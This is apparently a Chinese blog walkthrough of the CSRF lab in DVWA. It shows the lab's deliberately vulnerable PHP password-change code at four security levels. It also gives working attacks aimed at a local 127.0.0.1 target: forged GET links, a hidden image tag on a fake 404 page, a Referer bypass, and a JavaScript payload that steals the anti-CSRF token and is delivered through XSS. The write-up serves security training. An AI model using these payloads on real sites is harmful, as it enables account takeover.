DVWA-CSRF(跨站请求伪造)

CSRF(跨站请求伪造)简介

概念

CSRF(Cross—site request forgery),跨站请求伪造,是指利用受害者未失效的身份认证信息(cookie,会话等),诱骗其点击恶意链接或者访问包含攻击代码的页面,在受害人不知情的情况下,以受害者的身份向(身份认证信息所对应的)服务器发送请求,从而完成非法操作(如转账,改密等)。

CSRF与XSS的区别

  • CSRF属于业务逻辑漏洞,在服务器看来,所有的请求都是合法正常的;

  • XSS,SQL注入等等都是属于技术漏洞;

  • XSS:客户信任服务器;

  • CSRF:服务器信任客户(经过身份认证的);

CSRF攻击成功的前提

  • 用户必须登录;

  • 黑客必须懂得一些发包的请求;

  • 服务器端不会有二次认证;

  • 被害者是不知情的;

危害

  • 修改用户信息,如用户头像、发货地址等

  • 个人隐私泄露,机密资料泄露

  • 执行恶意操作,如修改密码,购买商品,转账等(盗用受害者身份,受害者能做什么攻击者就能以受害者身份)

安全级别:Low

<?php

if( isset( $_GET[ 'Change' ] ) ) {
    // Get input
    $pass_new  = $_GET[ 'password_new' ];
    $pass_conf = $_GET[ 'password_conf' ];

    // Do the passwords match?
    if( $pass_new == $pass_conf ) {
        // They do!
        $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
        $pass_new = md5( $pass_new );

        // Update the database
        $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
        $result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

        // Feedback for the user
        echo "<pre>Password Changed.</pre>";
    }
    else {
        // Issue with passwords matching
        echo "<pre>Passwords did not match.</pre>";
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?> 

mysqli_real_escape_string()过滤掉sql语句中的特殊字符串
通过修改密码,可以看到用的是get方式传参(在源码中也可以看出来)
服务器收到修改密码的请求后,会检查参数pass_new与pass_conf是否相同,如果相同,则会更新数据库,修改密码,并没有任何的防CSRF机制(用户已经登录服务器)。

方式一:构造修改密码的链接

DVWA-master/vulnerabilities/csrf/?password_new=123&password_conf=123&Change=Change#

在这里插入图片描述

方式二:构造攻击页面

这种方法需要事先在公网上传一个攻击页面,诱骗受害者去访问,真正能够在受害者不知情的情况下完成CSRF攻击,我们在本地写一个1.html,然后是受害者去点击;

<img src="http://127.0.0.1/DVWA-master/DVWA-master/vulnerabilities/csrf/?password_new=123&password_conf=123&Change=Change#" border="0" style="display:none;"/>
<h1>404</h1>
<h2>file not found</h2>

安全级别:Medium

<?php

if( isset( $_GET[ 'Change' ] ) ) {
    // Checks to see where the request came from
    if( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false ) {
        // Get input
        $pass_new  = $_GET[ 'password_new' ];
        $pass_conf = $_GET[ 'password_conf' ];

        // Do the passwords match?
        if( $pass_new == $pass_conf ) {
            // They do!
            $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
            $pass_new = md5( $pass_new );

            // Update the database
            $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
            $result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

            // Feedback for the user
            echo "<pre>Password Changed.</pre>";
        }
        else {
            // Issue with passwords matching
            echo "<pre>Passwords did not match.</pre>";
        }
    }
    else {
        // Didn't come from a trusted source
        echo "<pre>That request didn't look correct.</pre>";
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?> 

在这里插入图片描述

  • stripos(string,find,start)
    stripos() 函数查找字符串在另一字符串中第一次出现的位置(不区分大小写)
    参数描述
    string 必需。规定要搜索的字符串。
    find 必需。规定要查找的字符。
    start 可选。规定开始搜索的位置。

  • Medium级别的代码使用HTTP_REFERER(http包头的Referer参数的值,表示来源地址)中是否包含SERVER_NAME(http包头的Host参数,即要求本地登录),希望通过这种机制抵御CSRF攻击。

  • 过滤规则是http包头的Referer参数的值中必须包含主机名(127.0.0.1);

通过抓包将主机名放在http包头的Referer参数
在这里插入图片描述
在这里插入图片描述

安全级别:High

<?php

$change = false;
$request_type = "html";
$return_message = "Request Failed";

if ($_SERVER['CONTENT_TYPE'] == "application/json") {
    $data = json_decode(file_get_contents('php://input'), true);
    $request_type = "json";
    if (array_key_exists("HTTP_USER_TOKEN", $_SERVER) &&
        array_key_exists("password_new", $data) &&
        array_key_exists("password_conf", $data) &&
        array_key_exists("Change", $data)) {
        $token = $_SERVER['HTTP_USER_TOKEN'];
        $pass_new = $data["password_new"];
        $pass_conf = $data["password_conf"];
        $change = true;
    }
} else {
    if (array_key_exists("user_token", $_REQUEST) &&
        array_key_exists("password_new", $_REQUEST) &&
        array_key_exists("password_conf", $_REQUEST) &&
        array_key_exists("Change", $_REQUEST)) {
        $token = $_REQUEST["user_token"];
        $pass_new = $_REQUEST["password_new"];
        $pass_conf = $_REQUEST["password_conf"];
        $change = true;
    }
}

if ($change) {
    // Check Anti-CSRF token
    checkToken( $token, $_SESSION[ 'session_token' ], 'index.php' );

    // Do the passwords match?
    if( $pass_new == $pass_conf ) {
        // They do!
        $pass_new = mysqli_real_escape_string ($GLOBALS["___mysqli_ston"], $pass_new);
        $pass_new = md5( $pass_new );

        // Update the database
        $insert = "UPDATE `users` SET password = '" . $pass_new . "' WHERE user = '" . dvwaCurrentUser() . "';";
        $result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert );

        // Feedback for the user
        $return_message = "Password Changed.";
    }
    else {
        // Issue with passwords matching
        $return_message = "Passwords did not match.";
    }

    mysqli_close($GLOBALS["___mysqli_ston"]);

    if ($request_type == "json") {
        generateSessionToken();
        header ("Content-Type: application/json");
        print json_encode (array("Message" =>$return_message));
        exit;
    } else {
        echo "<pre>" . $return_message . "</pre>";
    }
}

// Generate Anti-CSRF token
generateSessionToken();

?> 

在这里插入图片描述

High级别的代码加入了Anti-CSRF token机制,用户每次访问改密页面时,服务器会返回一个随机的token,向服务器发起请求时,需要提交token参数,而服务器在收到请求时,会优先检查token,只有token正确,才会处理客户端的请求。

构造csrf.js

// 首先访问这个页面 来获取 token
var tokenUrl = 'http://127.0.0.1/DVWA-master/DVWA-master/vulnerabilities/csrf/';
 
if(window.XMLHttpRequest) {
    xmlhttp = new XMLHttpRequest();
}else{
    xmlhttp = new ActiveXObject("Microsoft.XMLHTTP");
}
 
var count = 0;
xmlhttp.withCredentials = true;
xmlhttp.onreadystatechange=function(){
    if(xmlhttp.readyState ==4 && xmlhttp.status==200)
    {
          // 使用正则提取 token
        var text = xmlhttp.responseText;
        var regex = /user_token\' value\=\'(.*?)\' \/\>/;
        var match = text.match(regex);
        var token = match[1];
          // 发起 CSRF 请求 将 token 带入
        var new_url = 'http://127.0.0.1/DVWA-master/DVWA-master/vulnerabilities/csrf/?user_token='+token+'&password_new=123&password_conf=123&Change=Change';
        if(count==0){
            count++;
            xmlhttp.open("GET",new_url,false);
            xmlhttp.send();
        }
    }
};
xmlhttp.open("GET",tokenUrl,false);
xmlhttp.send();

然后将这个csrf.js上传到靶场目录

再通过DVWA DOM XSS的high级别发起XSS测试:

?default=English&a=

这里通过script标签的src来引入外部js,访问之后密码就被更改为123了

安全级别:Impossible

// 依然检验用户的 token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
 
// 需要输入当前的密码
$pass_curr = $_GET[ 'password_current' ];
$pass_new  = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ];
 
// 检验当前密码是否正确
$data = $db->prepare( 'SELECT password FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;' );

增加了输入当前密码的选项,攻击者不知道原始密码下是无法发起CSRF攻击的

  • 0
    点赞
  • 14
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值